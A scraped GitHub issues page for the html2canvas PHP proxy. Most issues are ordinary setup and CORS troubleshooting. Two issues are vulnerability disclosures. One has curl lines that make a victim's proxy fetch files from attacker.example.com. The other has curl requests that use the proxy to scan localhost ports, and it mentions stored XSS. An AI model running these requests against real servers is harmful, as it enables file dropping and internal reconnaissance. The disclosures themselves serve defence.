brcontainer / html2canvas-php-proxy Goto Github PK

Hi Guilherme,

I have noticed that the proxy is not working with the new version of html2canvas.

They have changed the way to called the proxy and the way to use CORS.

Can you take a look to it?

Thanks!

Note: This question/issue has been established to guide proxy servers.

If my html/script is on a domain like this http://www.example.com and the proxy in another like this http://proxy.example.com (or http://www.example2.com) the script fails to convert the images to canvas, see example:

<script>
//<![CDATA[
(function() {
    window.onload = function(){
        html2canvas(document.body, {
            "logging": true, //Enable log (use Web Console for get Errors and Warnings)
            "proxy":"http://proxy.example.com/html2canvasproxy.php", //or  "proxy":"http://www.example2.com/html2canvasproxy.php"
            "onrendered": function(canvas) {
                var img = new Image();
                img.onload = function() {
                    img.onload = null;
                    document.body.appendChild(img);
                };
                img.src = canvas.toDataURL("image/png");
            }
        });
    };
})();
//]]>
</script>

Script show this error:

Uncaught SecurityError: Failed to execute 'toDataURL' on 'HTMLCanvasElement': tainted canvases may not be exported.

And the proxy don't support SVG images.

Hey ,
Thanks for your great script ,
i wanted to make an iframe with the same origin policy pointed to another domain , but i've rad your README.md and you mentioned that you need proxy , but after this when i do the iframe , it running on the server side not on the client side ,
Every image called from the server side not on the client side ,
And thanks

I set up your proxy solution with html2canvas two weeks ago. Everything was working fine. Images were downloaded and displayed.

Now I wanted to work some more with it but suddenly it stopped working.
To make sure I didn't broke anything I tried to get your example running but the example also isn't working somehow. Every image fails to be downloaded.

Can you please have a look here?
http://www.moviegeek.de/test.html

Hi,
First of all I would like to thank you for your php proxy, it is saving my life!
I am using it to print with html2canvas a map using Googlemaps. It is working really good.
The issue comes when I try to put on top of the map a WMS that request the login in the url like this:
https://username:password@WMS_Server_Address
When I run the proxy it gives me a 401 Unauthorized Error. Could it be because the proxy is not sending this user and loging after executing the fsockopen?
I am not getting this error runing other WMS with other authentication method.
I would really appreciate your help!
Thanks again for your proxy!
;)

Hey, I have been trying to get this working. But after uploading the example to my site, it doesn't work and pushes this to the console:

I had only tested this since it was not working with the code I had cooked up from the "usage" section in README.

Any idea how I can fix this? Or is this no longer being support?

Cheers.

主要耗时是在curl请求获取图片数据的地方。有没有什么解决办法？

error: html2canvas-proxy-php: Can not create file:

I create a java class,but it is not execute.Could you write a example to me ? Thanks!

点击截图后，返回正常的代理图片，但是无法创建canvas，并且没有页面其他的元素，只是返回了代理图片

Hey Guys,

Thanks for the port, i put the php script on to my websever when i call it i recieve ("error: html2canvas-proxy-php: "443" port is not allowed");

html2canvasproxy.php?url=https://www.roadrunnerrecords.com/sites/g/files/g2000005056/f/Sample-image10-highres.jpg

i haven't changed any content from the script so allowed ports is still the same

define('H2CP_ALLOWED_PORTS', array( 80, 443 )); // Allowed ports

Are there any setup steps i need to do?

Thanks

Hi,
I needed your proxy but didn't get it working. After code review, I saw that on lines 135, 138 and 141 you forgot to add the $token variable to the $locationFile. After changing this in the source code, I successfully got the proxy working.

I'm not too familiar with git, otherwise I would have send a pull request.

Cheers,

Christophe

how can i get working like this
http://html2canvas.hertzen.com/screenshots.html

with external url of full website ?

I was asked to include v0.1.8 of this script on our web platform as part of an integration with a third-party distributor of our materials. After reviewing the source code, I found that the script is vulnerable to a remote file inclusion attack. The attack is mitigated by the fact that only images or HTML files can be uploaded and the files will only be written to the images subdirectory, or other subdirectory set in the script configuration.

Example:

Step 1. Scan for the existence of html2canvasproxy.php. Many users will place the file in their root web directory so this would theoretically be trivial.

Step 2. Send a command to download an arbitrary file onto the server. Because the script checks the mime time of the Content-Type header in the downloaded file and restricts it to the following mime types:

• image/bmp
• image/windows-bmp
• image/ms-bmp
• image/jpeg
• image/jpg
• image/png
• image/gif
• text/html
• application/xhtml
• application/xhtml+xml

AND the script sets the file extension based on the above mime-type and not any hints provided in the Content-Disposition header, then only these types of files can be dropped on the server.

Example exploit:
curl -i http://victim.example.com/html2canvasproxy.php?url=http://attacker.example.com/dropper.php
curl -i http://victim.example.com/html2canvasproxy.php?url=http://attacker.example.com/evil.png

Contents of dropper.php:

Hi,

during a vulnerability assessment, I've seen this script included into a WordPress plugin, that allowed me to check if a TCP port was listening on the localhost or local network of my target by reading the different returned errors:

# An open 22/tcp port:
$ curl -s 'http://target/wp-content/plugins/-redacted-/html2canvasproxy.php?url=http://127.0.0.1:22'
console.log("error: html2canvas-proxy-php: This request did not return a HTTP response valid");

# A closed 1234/tcp port:
$ curl -s 'http://target/wp-content/plugins/-redacted-/html2canvasproxy.php?url=http://127.0.0.1:1234'
console.log("error: html2canvas-proxy-php: SOCKET: Connection refused(111)");

Moreover, in the specific environment of the plugin, I was able to store a "Cross-Site Scripting" making this script to get a text/html content that includes not sanitized JavaScript syntax. Obviously, in this case, the problem is not related to html2canvas script but to the way is used.

Probably, in my humble opinion, it should not be possible to request ports different then tcp/80 and tcp/443 if not explicitly allowed by configuration, and it should remove javascript syntax before store the output file.

Sorry for any inaccuracies, let me know if you need more details.

Unfortunately it seems like the demo isn't working anymore.

Hey there.

Im trying to use the proxy in order to render 3 images within an html body.

console error is:

but after debugging turns out the reason for the fail is : "error: html2canvas-proxy-php: Can not create directory".

Can you advise me what to do ?

Thank you

Hi @brcontainer ,
I am using the latest version of html2canvas ( 1.0.0-alpha.12) with html2canvas-php-proxy in laravel 4.2 but external images are still not being loaded on the canvas . Kindly help with how I can get this working in laravel 4.2

Hi,

I have integrated google map in our project and this application I have used to image capture option with html2canvas feature. Use this package I have facing the following list of problems.

1. Sometimes the image seem is broken.
2. We are using an iframe in the application and it is open and took the image capture means some error is showing.

Failed to load https://github.com/brcontainer/html2canvas-php-proxy?url=about%3Ablank: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access.
html2canvas.js:1488 3745ms html2canvas: Failed loading image #19 FrameContainer {image: null, src: iframe, promise: Promise}image: Event {isTrusted: true, type: "load", target: null, currentTarget: null, eventPhase: 0, …}promise: Promise {: Error: Network Error
at XMLHttpRequest.xhr.onerror (http://localhost:3000/js/lib/html2canvas/htm…}__proto__: Promise[[PromiseStatus]]: "rejected"[[PromiseValue]]: Error: Network Error
at XMLHttpRequest.xhr.onerror (http://localhost:3000/js/lib/html2canvas/html2canvas.js:3193:20)src: iframe__proto__: Object Error: Network Error
at XMLHttpRequest.xhr.onerror (html2canvas.js:3193)

I have three different divs that i'm turning into images with id's of "boxBanner", "skyscraperBanner", and "scoreboxBanner". When the user clicks a button, I'm running a function that does the following code for each of the three IDs:

html2canvas($("#[DIV ID HERE]"), {
proxy: "./proxy.php",
onrendered: function(canvas) {
var theCanvas = canvas;
$("#resultsArea").append(canvas);
}
});

This code will only render one of the three images. In the console, I get an error stating "Uncaught ReferenceError: html2canvas_0 is not defined" with a 2 next two it, (one for each of the divs that isn't the first i'm assuming).

Is there a fix for this?

When I execute it in my local host (http://localhost/html2canvasproxy.php), it appears me "html2canvas_0("error: html2canvas-proxy-php: Can not create file: ");". What I'm doing wrong? And this image in the demo (http://localhost/html2canvas-php-proxy-master/examples/google-maps.html):

Hi!

I'm trying to use this proxy to load cross origin images to my canvas. The images are downloaded correctly, but html2canvas says the image load failed. The promises are not being fulfilled correctly.

From the network requests to the proxy, I can see the response as a console.log with the image in base 64.

Html2canvas, in turn, displays this:

Any help would be much appreciated, thanks!

Hello L,
I run your test case and it's not working, is it still working?

Also, actually what I want is that save the google adsense to png, is it possible?

I like this project but need the code organized as a class that does not create globally-scoped functions and variables. If I made the necessary changes, would a pull request be considered?

here is code snippet

function screenShot(oElement) {
var html2obj = html2canvas(oElement,{logging: true, proxy:' html2canvasproxy.php'});
var queue = html2obj.parse();
var canvas = html2obj.render(queue);
var img = canvas.toDataURL();
return img;
}

screenShot($('#newDiv'));

Hello Guilherme,
I am trying your proxy with the CDN 4.1 version of html2canvas to fetch a whole site with images. The file fetching (html and images) works fine, everything is saved in the /images folder. However, upon returning to the script instead of getting the HTML and base64 encoded images, I receive the PATHs to the temp files. Thus the following standard implementation of html2canvas doesn't seem to work:

function startCapture2() {
var url = "http://google.com";
var urlParts = document.createElement('a');
urlParts.href = url;
alert(urlParts.href);

$.getJSON("html2canvasproxy.php?callback=?", { xhr2:false, url:urlParts.href }, function(html) {
alert(html);
// NO HTML COMING BACK HERE BUT THE PATH http://localhost.......html

  iframe = document.createElement('iframe');
  $(iframe).css({ 'visibility':'hidden'}).width($(window).width()).height($(window).height());
  $('#content').append(iframe);
  d = iframe.contentWindow.document;
  d.open();
  $(iframe.contentWindow).load(iframeLoad.bind(null, iframe));
  $('base').attr('href',urlParts.protocol+"//"+urlParts.hostname+"/" + urlParts.pathname);
  html = html.replace("<head>","<head><base href='"+urlParts.protocol+"//"+urlParts.hostname+"/" + urlParts.pathname + "'  />");
  if($("#disablejs").prop('checked')){
    html = html.replace(/\<script/gi,"<!--<script");
    html = html.replace(/\<\/script\>/gi,"<\/script>-->");
  }
  d.write(html);
  d.close();

});
}

What am I missing here?
Thanks

Example, show Facebook profile images:

https://graph.facebook.com/1415773021975267/picture
becomes:
https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash1/276836_1415773021975267_370639944_q.jpg

I'm looking at this, but hopefully I will use a hack in my code... Anyone had the same issue?

Hi,

I've tried to download the folder and run on my localhost. I tried to run one of the examples given (google-maps.html) and it works, but the screenshot does not capture the map pin/marker. Is that it was supposed to work? How do I capture the marker with the google maps?

Thanks.

In my application, I need to get images from facebook and instagram on click. However after the first few clicks, the code does not fetch the images. Is it because, sometimes, the images are the same? Need a solution asap.